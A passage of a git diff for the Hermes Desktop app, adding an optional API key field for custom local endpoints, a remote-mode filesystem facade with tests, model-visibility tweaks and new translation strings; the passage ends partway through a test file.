// tool is running. The copy control used to live here too, but an
|
||||
// `opacity-0` (yet still clickable) button straddling the caret/duration made
|
||||
// the disclosure caret hard to hit. Copy now lives in the expanded body's
|
||||
// top-right, where it can't fight the caret for the right edge.
|
||||
const trailing =
|
||||
isPending && !embedded ? (
|
||||
<ActivityTimerText className={TOOL_HEADER_DURATION_CLASS} seconds={elapsed} />
|
||||
) : !isPending && copyAction.text ? (
|
||||
<CopyButton appearance="tool-row" label={copyAction.label} stopPropagation text={copyAction.text} />
|
||||
) : undefined
|
||||
|
||||
return (
|
||||
@@ -322,7 +325,18 @@ function ToolEntry({ part }: ToolEntryProps) {
|
||||
</div>
|
||||
{isPending && <PendingToolApproval part={part} />}
|
||||
{open && (
|
||||
<div className="grid w-full min-w-0 max-w-full gap-1.5 overflow-hidden p-1.5">
|
||||
<div className="relative grid w-full min-w-0 max-w-full gap-1.5 overflow-hidden p-1.5">
|
||||
{copyAction.text && (
|
||||
<CopyButton
|
||||
appearance="inline"
|
||||
className="absolute right-1.5 top-1.5 z-10 h-5 gap-0 rounded-md border border-(--ui-stroke-tertiary) bg-background/80 px-1 opacity-60 backdrop-blur-sm transition-opacity hover:opacity-100 focus-visible:opacity-100"
|
||||
iconClassName="size-3"
|
||||
label={copyAction.label}
|
||||
showLabel={false}
|
||||
stopPropagation
|
||||
text={copyAction.text}
|
||||
/>
|
||||
)}
|
||||
{!embedded && view.previewTarget && isPreviewableTarget(view.previewTarget) && (
|
||||
<PreviewAttachment source="tool-result" target={view.previewTarget} />
|
||||
)}
|
||||
|
||||
@@ -127,7 +127,9 @@ const InlineSegmentView: FC<{ text: string }> = ({ text }) => {
|
||||
const nodes = useMemo(() => splitInlineCode(text), [text])
|
||||
|
||||
return (
|
||||
<span className="wrap-anywhere block whitespace-pre-line">
|
||||
// styles.css bidi hook (#44150); whitespace-pre-line makes each line its own
|
||||
// UAX#9 paragraph so it resolves direction independently.
|
||||
<span className="wrap-anywhere block whitespace-pre-line" data-slot="aui_user-inline-text">
|
||||
{nodes.map((node, nodeIndex) =>
|
||||
node.kind === 'inline-code' ? (
|
||||
<code
|
||||
|
||||
@@ -26,7 +26,8 @@ function setProviders(providers: OAuthProvider[]) {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
} satisfies DesktopOnboardingState)
|
||||
}
|
||||
|
||||
@@ -49,7 +50,8 @@ afterEach(() => {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
})
|
||||
})
|
||||
|
||||
|
||||
@@ -430,19 +430,24 @@ const persistShowAll = (value: boolean) => {
|
||||
|
||||
export function Picker({ ctx }: { ctx: OnboardingContext }) {
|
||||
const { t } = useI18n()
|
||||
const { manual, mode, providers } = useStore($desktopOnboarding)
|
||||
const { localEndpoint, manual, mode, providers } = useStore($desktopOnboarding)
|
||||
const [showAll, setShowAll] = useState(readShowAll)
|
||||
const ordered = useMemo(() => (providers ? sortProviders(providers) : []), [providers])
|
||||
const hasOauth = ordered.length > 0
|
||||
const apiKeyOptions = useApiKeyCatalog()
|
||||
|
||||
if (mode === 'apikey' || !hasOauth) {
|
||||
// localEndpoint forces the key form regardless of `mode` (which a manual
|
||||
// provider refresh may flip back to 'oauth'); it preselects the local option
|
||||
// and hides the "back to sign in" link since the user came specifically to
|
||||
// configure a custom endpoint.
|
||||
if (localEndpoint || mode === 'apikey' || !hasOauth) {
|
||||
return (
|
||||
<div className="grid gap-3">
|
||||
<ApiKeyForm
|
||||
canGoBack={hasOauth}
|
||||
canGoBack={hasOauth && !localEndpoint}
|
||||
initialEnvKey={localEndpoint ? 'OPENAI_BASE_URL' : undefined}
|
||||
onBack={() => setOnboardingMode('oauth')}
|
||||
onSave={(envKey, value, name) => saveOnboardingApiKey(envKey, value, name, ctx)}
|
||||
onSave={(envKey, value, name, apiKey) => saveOnboardingApiKey(envKey, value, name, ctx, apiKey)}
|
||||
options={apiKeyOptions}
|
||||
/>
|
||||
{manual ? null : (
|
||||
@@ -630,6 +635,7 @@ export function ProviderRow({
|
||||
// surfaces render the identical form.
|
||||
export function ApiKeyForm({
|
||||
canGoBack,
|
||||
initialEnvKey,
|
||||
isSet,
|
||||
onBack,
|
||||
onClear,
|
||||
@@ -638,16 +644,31 @@ export function ApiKeyForm({
|
||||
redactedValue
|
||||
}: {
|
||||
canGoBack: boolean
|
||||
/** Preselect a specific option by env key (e.g. 'OPENAI_BASE_URL' to land on
|
||||
* the local / custom endpoint form). Falls back to the first option. */
|
||||
initialEnvKey?: string
|
||||
isSet?: (envKey: string) => boolean
|
||||
onBack: () => void
|
||||
onClear?: (envKey: string) => void
|
||||
onSave: (envKey: string, value: string, name: string) => Promise<{ message?: string; ok: boolean }>
|
||||
onSave: (
|
||||
envKey: string,
|
||||
value: string,
|
||||
name: string,
|
||||
apiKey?: string
|
||||
) => Promise<{ message?: string; ok: boolean }>
|
||||
options?: ApiKeyOption[]
|
||||
redactedValue?: (envKey: string) => null | string | undefined
|
||||
}) {
|
||||
const { t } = useI18n()
|
||||
const [option, setOption] = useState<ApiKeyOption>(options[0])
|
||||
|
||||
const [option, setOption] = useState<ApiKeyOption>(
|
||||
() => options.find(o => o.envKey === initialEnvKey) ?? options[0]
|
||||
)
|
||||
|
||||
const [value, setValue] = useState('')
|
||||
// Optional endpoint API key, only used by the local / custom endpoint option
|
||||
// (whose `value` is the base URL). Cleared whenever the option changes.
|
||||
const [localKey, setLocalKey] = useState('')
|
||||
const [saving, setSaving] = useState(false)
|
||||
const [error, setError] = useState<null | string>(null)
|
||||
// `options` can change at runtime when callers filter the catalog (e.g. the
|
||||
@@ -657,6 +678,7 @@ export function ApiKeyForm({
|
||||
if (options.length > 0 && !options.some(o => o.envKey === option.envKey)) {
|
||||
setOption(options[0])
|
||||
setValue('')
|
||||
setLocalKey('')
|
||||
setError(null)
|
||||
}
|
||||
}, [option.envKey, options])
|
||||
@@ -668,6 +690,7 @@ export function ApiKeyForm({
|
||||
const pick = (o: ApiKeyOption) => {
|
||||
setOption(o)
|
||||
setValue('')
|
||||
setLocalKey('')
|
||||
setError(null)
|
||||
requestAnimationFrame(() => {
|
||||
entryRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' })
|
||||
@@ -693,10 +716,11 @@ export function ApiKeyForm({
|
||||
|
||||
setSaving(true)
|
||||
setError(null)
|
||||
const result = await onSave(option.envKey, value, option.name)
|
||||
const result = await onSave(option.envKey, value, option.name, isLocal ? localKey : undefined)
|
||||
|
||||
if (result.ok) {
|
||||
setValue('')
|
||||
setLocalKey('')
|
||||
} else {
|
||||
setError(result.message ?? t.onboarding.couldNotSave)
|
||||
}
|
||||
@@ -759,6 +783,17 @@ export function ApiKeyForm({
|
||||
type={isLocal ? 'text' : 'password'}
|
||||
value={value}
|
||||
/>
|
||||
{isLocal ? (
|
||||
<Input
|
||||
autoComplete="off"
|
||||
className="font-mono"
|
||||
onChange={e => setLocalKey(e.target.value)}
|
||||
onKeyDown={e => e.key === 'Enter' && void submit()}
|
||||
placeholder={t.onboarding.localApiKeyPlaceholder}
|
||||
type="password"
|
||||
value={localKey}
|
||||
/>
|
||||
) : null}
|
||||
{error ? <p className="text-xs text-destructive">{error}</p> : null}
|
||||
</div>
|
||||
|
||||
|
||||
@@ -41,7 +41,8 @@ function resetStores() {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -14,6 +14,8 @@ import {
|
||||
$visibleModels,
|
||||
collapseModelFamilies,
|
||||
effectiveVisibleKeys,
|
||||
emptyProviderSentinelKey,
|
||||
isProviderSentinel,
|
||||
modelVisibilityKey,
|
||||
setVisibleModels
|
||||
} from '@/store/model-visibility'
|
||||
@@ -61,10 +63,21 @@ export function ModelVisibilityDialog({
|
||||
const toggle = (provider: ModelOptionProvider, model: string) => {
|
||||
const next = new Set(effectiveVisibleKeys($visibleModels.get(), providers))
|
||||
const key = modelVisibilityKey(provider.slug, model)
|
||||
const sentinel = emptyProviderSentinelKey(provider.slug)
|
||||
|
||||
if (next.has(key)) {
|
||||
next.delete(key)
|
||||
|
||||
// Check if this was the last real model for this provider.
|
||||
const remainingForProvider = [...next].some(
|
||||
k => k.startsWith(`${provider.slug}::`) && !isProviderSentinel(k)
|
||||
)
|
||||
|
||||
if (!remainingForProvider) {
|
||||
next.add(sentinel)
|
||||
}
|
||||
} else {
|
||||
next.delete(sentinel)
|
||||
next.add(key)
|
||||
}
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@ import { Dialog as DialogPrimitive } from 'radix-ui'
|
||||
import { useEffect, useMemo, useState } from 'react'
|
||||
|
||||
import { Command, CommandEmpty, CommandGroup, CommandInput, CommandItem, CommandList } from '@/components/ui/command'
|
||||
import { listSessions } from '@/hermes'
|
||||
import { listAllProfileSessions } from '@/hermes'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { sessionTitle } from '@/lib/chat-runtime'
|
||||
import { Check, MessageCircle } from '@/lib/icons'
|
||||
@@ -35,7 +35,7 @@ export function SessionPickerDialog({
|
||||
|
||||
const sessionsQuery = useQuery({
|
||||
enabled: open,
|
||||
queryFn: () => listSessions(200, 1, 'exclude'),
|
||||
queryFn: () => listAllProfileSessions(200, 1, 'exclude'),
|
||||
queryKey: ['session-picker', 'sessions']
|
||||
})
|
||||
|
||||
|
||||
BIN
apps/desktop/src/fonts/JetBrainsMono-Bold.woff2
Normal file
BIN
apps/desktop/src/fonts/JetBrainsMono-Bold.woff2
Normal file
Binary file not shown.
BIN
apps/desktop/src/fonts/JetBrainsMono-Italic.woff2
Normal file
BIN
apps/desktop/src/fonts/JetBrainsMono-Italic.woff2
Normal file
Binary file not shown.
BIN
apps/desktop/src/fonts/JetBrainsMono-Regular.woff2
Normal file
BIN
apps/desktop/src/fonts/JetBrainsMono-Regular.woff2
Normal file
Binary file not shown.
4
apps/desktop/src/global.d.ts
vendored
4
apps/desktop/src/global.d.ts
vendored
@@ -75,6 +75,10 @@ declare global {
|
||||
}
|
||||
onClosePreviewRequested?: (callback: () => void) => () => void
|
||||
onOpenUpdatesRequested?: (callback: () => void) => () => void
|
||||
onDeepLink?: (
|
||||
callback: (payload: { kind: string; name: string; params: Record<string, string> }) => void,
|
||||
) => () => void
|
||||
signalDeepLinkReady?: () => Promise<{ ok: boolean }>
|
||||
onWindowStateChanged?: (callback: (payload: HermesWindowState) => void) => () => void
|
||||
onPreviewFileChanged: (callback: (payload: HermesPreviewFileChanged) => void) => () => void
|
||||
onBackendExit: (callback: (payload: BackendExit) => void) => () => void
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { listAllProfileSessions, listSessions } from './hermes'
|
||||
import { getSessionMessages, listAllProfileSessions, listSessions } from './hermes'
|
||||
|
||||
const emptySessionsResponse = {
|
||||
limit: 0,
|
||||
@@ -46,4 +46,15 @@ describe('Hermes REST session helpers', () => {
|
||||
})
|
||||
)
|
||||
})
|
||||
|
||||
it('tags cross-profile message reads for Electron routing and backend lookup', async () => {
|
||||
api.mockResolvedValue({ messages: [], session_id: 'session-1' })
|
||||
|
||||
await getSessionMessages('session-1', 'xiaoxuxu')
|
||||
|
||||
expect(api).toHaveBeenCalledWith({
|
||||
path: '/api/sessions/session-1/messages?profile=xiaoxuxu',
|
||||
profile: 'xiaoxuxu'
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
@@ -54,10 +54,10 @@ export type {
|
||||
AnalyticsSkillEntry,
|
||||
AnalyticsSkillsSummary,
|
||||
AnalyticsTotals,
|
||||
BackendUpdateCheckResponse,
|
||||
AudioSpeakResponse,
|
||||
AudioTranscriptionResponse,
|
||||
AuxiliaryModelsResponse,
|
||||
BackendUpdateCheckResponse,
|
||||
ConfigFieldSchema,
|
||||
ConfigSchemaResponse,
|
||||
CronJob,
|
||||
@@ -218,6 +218,7 @@ export function getSessionMessages(id: string, profile?: string | null): Promise
|
||||
const suffix = profile ? `?profile=${encodeURIComponent(profile)}` : ''
|
||||
|
||||
return window.hermesDesktop.api<SessionMessagesResponse>({
|
||||
...(profile ? { profile } : {}),
|
||||
path: `/api/sessions/${encodeURIComponent(id)}/messages${suffix}`
|
||||
})
|
||||
}
|
||||
@@ -343,13 +344,14 @@ export function setEnvVar(key: string, value: string): Promise<{ ok: boolean }>
|
||||
|
||||
export function validateProviderCredential(
|
||||
key: string,
|
||||
value: string
|
||||
value: string,
|
||||
apiKey?: string
|
||||
): Promise<{ ok: boolean; reachable: boolean; message: string; models?: string[] }> {
|
||||
return window.hermesDesktop.api<{ ok: boolean; reachable: boolean; message: string; models?: string[] }>({
|
||||
...profileScoped(),
|
||||
path: '/api/providers/validate',
|
||||
method: 'POST',
|
||||
body: { key, value }
|
||||
body: { key, value, api_key: apiKey ?? '' }
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -1372,6 +1372,7 @@ export const en: Translations = {
|
||||
getKey: 'Get a key',
|
||||
replaceCurrent: 'Replace current value',
|
||||
pasteApiKey: 'Paste API key',
|
||||
localApiKeyPlaceholder: 'API key (optional — only if your endpoint requires one)',
|
||||
couldNotSave: 'Could not save credential.',
|
||||
connecting: 'Connecting',
|
||||
update: 'Update',
|
||||
@@ -1532,6 +1533,9 @@ export const en: Translations = {
|
||||
terminal: 'Terminal',
|
||||
noFolderSelected: 'No folder selected',
|
||||
changeCwdTitle: 'Change working directory',
|
||||
remotePickerTitle: 'Choose remote folder',
|
||||
remotePickerDescription: 'Browse folders on the connected backend.',
|
||||
remotePickerSelect: 'Select folder',
|
||||
folderTip: cwd => `${cwd} — click to change folder`,
|
||||
openFolder: 'Open folder',
|
||||
refreshTree: 'Refresh tree',
|
||||
|
||||
@@ -1665,6 +1665,9 @@ export const ja = defineLocale({
|
||||
terminal: 'ターミナル',
|
||||
noFolderSelected: 'フォルダーが選択されていません',
|
||||
changeCwdTitle: '作業ディレクトリを変更',
|
||||
remotePickerTitle: 'リモートフォルダーを選択',
|
||||
remotePickerDescription: '接続中のバックエンド上のフォルダーを参照します。',
|
||||
remotePickerSelect: 'フォルダーを選択',
|
||||
folderTip: cwd => `${cwd} — クリックしてフォルダーを変更`,
|
||||
openFolder: 'フォルダーを開く',
|
||||
refreshTree: 'ツリーを更新',
|
||||
|
||||
@@ -1041,6 +1041,7 @@ export interface Translations {
|
||||
getKey: string
|
||||
replaceCurrent: string
|
||||
pasteApiKey: string
|
||||
localApiKeyPlaceholder: string
|
||||
couldNotSave: string
|
||||
connecting: string
|
||||
update: string
|
||||
@@ -1194,6 +1195,9 @@ export interface Translations {
|
||||
terminal: string
|
||||
noFolderSelected: string
|
||||
changeCwdTitle: string
|
||||
remotePickerTitle: string
|
||||
remotePickerDescription: string
|
||||
remotePickerSelect: string
|
||||
folderTip: (cwd: string) => string
|
||||
openFolder: string
|
||||
refreshTree: string
|
||||
|
||||
@@ -1626,6 +1626,9 @@ export const zhHant = defineLocale({
|
||||
terminal: '終端機',
|
||||
noFolderSelected: '未選擇資料夾',
|
||||
changeCwdTitle: '變更工作目錄',
|
||||
remotePickerTitle: '選擇遠端資料夾',
|
||||
remotePickerDescription: '瀏覽已連線後端上的資料夾。',
|
||||
remotePickerSelect: '選擇資料夾',
|
||||
folderTip: cwd => `${cwd} — 點擊以變更資料夾`,
|
||||
openFolder: '開啟資料夾',
|
||||
refreshTree: '重新整理檔案樹',
|
||||
|
||||
@@ -1554,6 +1554,7 @@ export const zh: Translations = {
|
||||
getKey: '获取密钥',
|
||||
replaceCurrent: '替换当前值',
|
||||
pasteApiKey: '粘贴 API 密钥',
|
||||
localApiKeyPlaceholder: 'API 密钥(可选 — 仅当端点需要时填写)',
|
||||
couldNotSave: '无法保存凭据。',
|
||||
connecting: '连接中',
|
||||
update: '更新',
|
||||
@@ -1712,6 +1713,9 @@ export const zh: Translations = {
|
||||
terminal: '终端',
|
||||
noFolderSelected: '未选择文件夹',
|
||||
changeCwdTitle: '更改工作目录',
|
||||
remotePickerTitle: '选择远程文件夹',
|
||||
remotePickerDescription: '浏览已连接后端上的文件夹。',
|
||||
remotePickerSelect: '选择文件夹',
|
||||
folderTip: cwd => `${cwd} — 点击更改文件夹`,
|
||||
openFolder: '打开文件夹',
|
||||
refreshTree: '刷新文件树',
|
||||
|
||||
@@ -58,6 +58,8 @@ export type GatewayEventPayload = {
|
||||
// approval.request (dangerous command / execute_code) — session-keyed
|
||||
command?: string
|
||||
description?: string
|
||||
// False when a tirith content-security warning forbids a permanent allow.
|
||||
allow_permanent?: boolean
|
||||
// secret.request (skill credential capture)
|
||||
env_var?: string
|
||||
prompt?: string
|
||||
|
||||
@@ -46,6 +46,7 @@ export function createClientSessionState(
|
||||
serviceTier: '',
|
||||
fast: false,
|
||||
yolo: false,
|
||||
personality: '',
|
||||
busy: false,
|
||||
awaitingResponse: false,
|
||||
streamId: null,
|
||||
|
||||
116
apps/desktop/src/lib/desktop-fs.test.ts
Normal file
116
apps/desktop/src/lib/desktop-fs.test.ts
Normal file
@@ -0,0 +1,116 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { $connection } from '@/store/session'
|
||||
|
||||
import {
|
||||
desktopDefaultCwd,
|
||||
desktopGitRoot,
|
||||
readDesktopDir,
|
||||
readDesktopFileDataUrl,
|
||||
readDesktopFileText,
|
||||
selectDesktopPaths,
|
||||
setDesktopFsRemotePicker
|
||||
} from './desktop-fs'
|
||||
|
||||
const readDir = vi.fn(async () => ({ entries: [{ name: 'local', path: '/local', isDirectory: true }] }))
|
||||
const readFileText = vi.fn(async () => ({ path: '/local/file.txt', text: 'local', byteSize: 5 }))
|
||||
const readFileDataUrl = vi.fn(async () => 'data:text/plain;base64,bG9jYWw=')
|
||||
const gitRoot = vi.fn(async () => '/local')
|
||||
const selectPaths = vi.fn(async () => ['/local'])
|
||||
const api = vi.fn(async ({ path }: { path: string }) => {
|
||||
if (path.startsWith('/api/fs/list?')) return { entries: [{ name: 'remote', path: '/remote', isDirectory: true }] }
|
||||
if (path.startsWith('/api/fs/read-text?')) return { path: '/remote/file.txt', text: 'remote', byteSize: 6 }
|
||||
if (path.startsWith('/api/fs/read-data-url?')) return { dataUrl: 'data:text/plain;base64,cmVtb3Rl' }
|
||||
if (path.startsWith('/api/fs/git-root?')) return { root: '/remote' }
|
||||
if (path === '/api/fs/default-cwd') return { cwd: '/backend/project', branch: 'main' }
|
||||
throw new Error(`unexpected path ${path}`)
|
||||
})
|
||||
|
||||
function stubBridge() {
|
||||
vi.stubGlobal('window', {
|
||||
hermesDesktop: {
|
||||
api,
|
||||
gitRoot,
|
||||
readDir,
|
||||
readFileDataUrl,
|
||||
readFileText,
|
||||
selectPaths
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
describe('desktop filesystem facade', () => {
|
||||
beforeEach(() => {
|
||||
stubBridge()
|
||||
$connection.set(null)
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals()
|
||||
vi.clearAllMocks()
|
||||
$connection.set(null)
|
||||
setDesktopFsRemotePicker(null)
|
||||
})
|
||||
|
||||
it('uses local Electron filesystem methods in local mode', async () => {
|
||||
$connection.set({ mode: 'local' } as never)
|
||||
|
||||
await expect(readDesktopDir('/work')).resolves.toEqual({ entries: [{ name: 'local', path: '/local', isDirectory: true }] })
|
||||
await expect(readDesktopFileText('/work/file.txt')).resolves.toMatchObject({ text: 'local' })
|
||||
await expect(readDesktopFileDataUrl('/work/file.txt')).resolves.toBe('data:text/plain;base64,bG9jYWw=')
|
||||
await expect(desktopGitRoot('/work')).resolves.toBe('/local')
|
||||
await expect(selectDesktopPaths({ directories: true })).resolves.toEqual(['/local'])
|
||||
|
||||
expect(readDir).toHaveBeenCalledWith('/work')
|
||||
expect(readFileText).toHaveBeenCalledWith('/work/file.txt')
|
||||
expect(readFileDataUrl).toHaveBeenCalledWith('/work/file.txt')
|
||||
expect(gitRoot).toHaveBeenCalledWith('/work')
|
||||
expect(selectPaths).toHaveBeenCalledWith({ directories: true })
|
||||
expect(api).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('routes filesystem reads through authenticated backend REST in remote mode', async () => {
|
||||
$connection.set({ mode: 'remote' } as never)
|
||||
|
||||
await expect(readDesktopDir('/home/user/project')).resolves.toMatchObject({ entries: [{ name: 'remote' }] })
|
||||
await expect(readDesktopFileText('/home/user/project/a b.txt')).resolves.toMatchObject({ text: 'remote' })
|
||||
await expect(readDesktopFileDataUrl('/home/user/project/a b.txt')).resolves.toBe('data:text/plain;base64,cmVtb3Rl')
|
||||
await expect(desktopGitRoot('/home/user/project')).resolves.toBe('/remote')
|
||||
await expect(desktopDefaultCwd()).resolves.toEqual({ cwd: '/backend/project', branch: 'main' })
|
||||
|
||||
expect(api).toHaveBeenCalledWith({ path: '/api/fs/list?path=%2Fhome%2Fuser%2Fproject' })
|
||||
expect(api).toHaveBeenCalledWith({ path: '/api/fs/read-text?path=%2Fhome%2Fuser%2Fproject%2Fa%20b.txt' })
|
||||
expect(api).toHaveBeenCalledWith({ path: '/api/fs/read-data-url?path=%2Fhome%2Fuser%2Fproject%2Fa%20b.txt' })
|
||||
expect(api).toHaveBeenCalledWith({ path: '/api/fs/git-root?path=%2Fhome%2Fuser%2Fproject' })
|
||||
expect(api).toHaveBeenCalledWith({ path: '/api/fs/default-cwd' })
|
||||
expect(readDir).not.toHaveBeenCalled()
|
||||
expect(readFileText).not.toHaveBeenCalled()
|
||||
expect(readFileDataUrl).not.toHaveBeenCalled()
|
||||
expect(gitRoot).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('uses the registered in-app directory picker in remote mode', async () => {
|
||||
const remoteSelect = vi.fn(async () => ['/remote/project'])
|
||||
$connection.set({ mode: 'remote' } as never)
|
||||
setDesktopFsRemotePicker({ selectPaths: remoteSelect })
|
||||
|
||||
await expect(selectDesktopPaths({ defaultPath: '/remote', directories: true, multiple: false })).resolves.toEqual([
|
||||
'/remote/project'
|
||||
])
|
||||
|
||||
expect(remoteSelect).toHaveBeenCalledWith({ defaultPath: '/remote', directories: true, multiple: false })
|
||||
expect(selectPaths).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('does not treat the remote directory picker as a general file picker', async () => {
|
||||
const remoteSelect = vi.fn(async () => ['/remote/project'])
|
||||
$connection.set({ mode: 'remote' } as never)
|
||||
setDesktopFsRemotePicker({ selectPaths: remoteSelect })
|
||||
|
||||
await expect(selectDesktopPaths({ directories: false, multiple: false })).resolves.toEqual([])
|
||||
await expect(selectDesktopPaths({ directories: true, multiple: true })).resolves.toEqual([])
|
||||
|
||||
expect(remoteSelect).not.toHaveBeenCalled()
|
||||
expect(selectPaths).not.toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
95
apps/desktop/src/lib/desktop-fs.ts
Normal file
95
apps/desktop/src/lib/desktop-fs.ts
Normal file
@@ -0,0 +1,95 @@
|
||||
import { $connection } from '@/store/session'
|
||||
|
||||
import type { HermesConnection, HermesReadDirResult, HermesReadFileTextResult, HermesSelectPathsOptions } from '@/global'
|
||||
|
||||
export interface DesktopFsRemotePicker {
|
||||
selectPaths: (options?: HermesSelectPathsOptions) => Promise<string[]>
|
||||
}
|
||||
|
||||
let remotePicker: DesktopFsRemotePicker | null = null
|
||||
|
||||
export function setDesktopFsRemotePicker(next: DesktopFsRemotePicker | null) {
|
||||
remotePicker = next
|
||||
}
|
||||
|
||||
function connectionCacheKey(connection: HermesConnection | null) {
|
||||
if (!connection) {
|
||||
return 'local:'
|
||||
}
|
||||
return `${connection.mode || 'local'}:${connection.profile || ''}:${connection.baseUrl || ''}`
|
||||
}
|
||||
|
||||
export function desktopFsCacheKey() {
|
||||
return connectionCacheKey($connection.get())
|
||||
}
|
||||
|
||||
export function isDesktopFsRemoteMode() {
|
||||
return $connection.get()?.mode === 'remote'
|
||||
}
|
||||
|
||||
function fsPath(endpoint: string, filePath: string) {
|
||||
return `/api/fs/${endpoint}?path=${encodeURIComponent(filePath)}`
|
||||
}
|
||||
|
||||
function bridge() {
|
||||
const desktop = window.hermesDesktop
|
||||
if (!desktop) {
|
||||
throw new Error('Hermes Desktop bridge is unavailable')
|
||||
}
|
||||
return desktop
|
||||
}
|
||||
|
||||
export async function readDesktopDir(path: string): Promise<HermesReadDirResult> {
|
||||
const desktop = bridge()
|
||||
if (!isDesktopFsRemoteMode()) {
|
||||
return desktop.readDir(path)
|
||||
}
|
||||
return desktop.api<HermesReadDirResult>({ path: fsPath('list', path) })
|
||||
}
|
||||
|
||||
export async function readDesktopFileText(path: string): Promise<HermesReadFileTextResult> {
|
||||
const desktop = bridge()
|
||||
if (!isDesktopFsRemoteMode()) {
|
||||
return desktop.readFileText(path)
|
||||
}
|
||||
return desktop.api<HermesReadFileTextResult>({ path: fsPath('read-text', path) })
|
||||
}
|
||||
|
||||
export async function readDesktopFileDataUrl(path: string): Promise<string> {
|
||||
const desktop = bridge()
|
||||
if (!isDesktopFsRemoteMode()) {
|
||||
return desktop.readFileDataUrl(path)
|
||||
}
|
||||
|
||||
const result = await desktop.api<string | { dataUrl?: string }>({ path: fsPath('read-data-url', path) })
|
||||
return typeof result === 'string' ? result : result.dataUrl || ''
|
||||
}
|
||||
|
||||
export async function desktopGitRoot(path: string): Promise<string | null> {
|
||||
const desktop = bridge()
|
||||
if (!isDesktopFsRemoteMode()) {
|
||||
return desktop.gitRoot ? desktop.gitRoot(path) : null
|
||||
}
|
||||
|
||||
const result = await desktop.api<{ root: string | null }>({ path: fsPath('git-root', path) })
|
||||
return result.root
|
||||
}
|
||||
|
||||
export async function desktopDefaultCwd(): Promise<{ branch: string; cwd: string } | null> {
|
||||
if (!isDesktopFsRemoteMode()) {
|
||||
return null
|
||||
}
|
||||
|
||||
return bridge().api<{ branch: string; cwd: string }>({ path: '/api/fs/default-cwd' })
|
||||
}
|
||||
|
||||
export async function selectDesktopPaths(options?: HermesSelectPathsOptions): Promise<string[]> {
|
||||
const desktop = bridge()
|
||||
if (!isDesktopFsRemoteMode()) {
|
||||
return desktop.selectPaths(options)
|
||||
}
|
||||
if (!options?.directories || options.multiple !== false) {
|
||||
return []
|
||||
}
|
||||
return remotePicker ? remotePicker.selectPaths(options) : []
|
||||
}
|
||||
@@ -1,3 +1,4 @@
|
||||
import { isDesktopFsRemoteMode, readDesktopFileText } from '@/lib/desktop-fs'
|
||||
import type { PreviewTarget } from '@/store/preview'
|
||||
|
||||
const HTML_EXTENSIONS = new Set(['.htm', '.html'])
|
||||
@@ -107,6 +108,26 @@ export function localPreviewTarget(rawTarget: string, cwd?: string | null): Prev
|
||||
}
|
||||
}
|
||||
|
||||
async function enrichPreviewTarget(target: PreviewTarget | null): Promise<PreviewTarget | null> {
|
||||
if (!isDesktopFsRemoteMode() || !target || target.kind !== 'file' || target.previewKind === 'image') {
|
||||
return target
|
||||
}
|
||||
|
||||
try {
|
||||
const result = await readDesktopFileText(target.path || target.source)
|
||||
return {
|
||||
...target,
|
||||
binary: result.binary,
|
||||
byteSize: result.byteSize,
|
||||
language: result.language || target.language,
|
||||
large: (result.byteSize ?? 0) > 512 * 1024,
|
||||
mimeType: result.mimeType
|
||||
}
|
||||
} catch {
|
||||
return target
|
||||
}
|
||||
}
|
||||
|
||||
export async function normalizeOrLocalPreviewTarget(
|
||||
rawTarget: string,
|
||||
cwd?: string | null
|
||||
@@ -115,12 +136,12 @@ export async function normalizeOrLocalPreviewTarget(
|
||||
const normalized = await window.hermesDesktop?.normalizePreviewTarget?.(rawTarget, cwd || undefined)
|
||||
|
||||
if (normalized) {
|
||||
return normalized
|
||||
return enrichPreviewTarget(normalized)
|
||||
}
|
||||
} catch {
|
||||
// Running Electron may still have the old HTML-only preview IPC. Fall
|
||||
// through to renderer-side local classification so text/images still open.
|
||||
}
|
||||
|
||||
return localPreviewTarget(rawTarget, cwd)
|
||||
return enrichPreviewTarget(localPreviewTarget(rawTarget, cwd))
|
||||
}
|
||||
|
||||
@@ -5,6 +5,7 @@ import { notify, notifyError } from '@/store/notifications'
|
||||
|
||||
interface ExportSessionParams {
|
||||
sessionId: string
|
||||
profile?: string | null
|
||||
title?: string | null
|
||||
session?: SessionInfo
|
||||
}
|
||||
@@ -31,7 +32,8 @@ export async function exportSession(sessionId: string, params: Omit<ExportSessio
|
||||
}
|
||||
|
||||
try {
|
||||
const { messages } = await getSessionMessages(sessionId)
|
||||
const profile = params.profile ?? params.session?.profile
|
||||
const { messages } = await getSessionMessages(sessionId, profile)
|
||||
|
||||
const payload = {
|
||||
exported_at: new Date().toISOString(),
|
||||
|
||||
@@ -2,7 +2,12 @@ import { describe, expect, it } from 'vitest'
|
||||
|
||||
import type { ModelOptionProvider } from '@/types/hermes'
|
||||
|
||||
import { effectiveVisibleKeys, modelVisibilityKey } from './model-visibility'
|
||||
import {
|
||||
effectiveVisibleKeys,
|
||||
emptyProviderSentinelKey,
|
||||
isProviderSentinel,
|
||||
modelVisibilityKey
|
||||
} from './model-visibility'
|
||||
|
||||
const provider = (slug: string, models: string[]): ModelOptionProvider => ({
|
||||
models,
|
||||
@@ -34,4 +39,48 @@ describe('model visibility', () => {
|
||||
expect(visible.has(modelVisibilityKey('local-ollama', 'qwen3:latest'))).toBe(true)
|
||||
expect(visible.has(modelVisibilityKey('local-ollama', 'llama3.2:latest'))).toBe(false)
|
||||
})
|
||||
|
||||
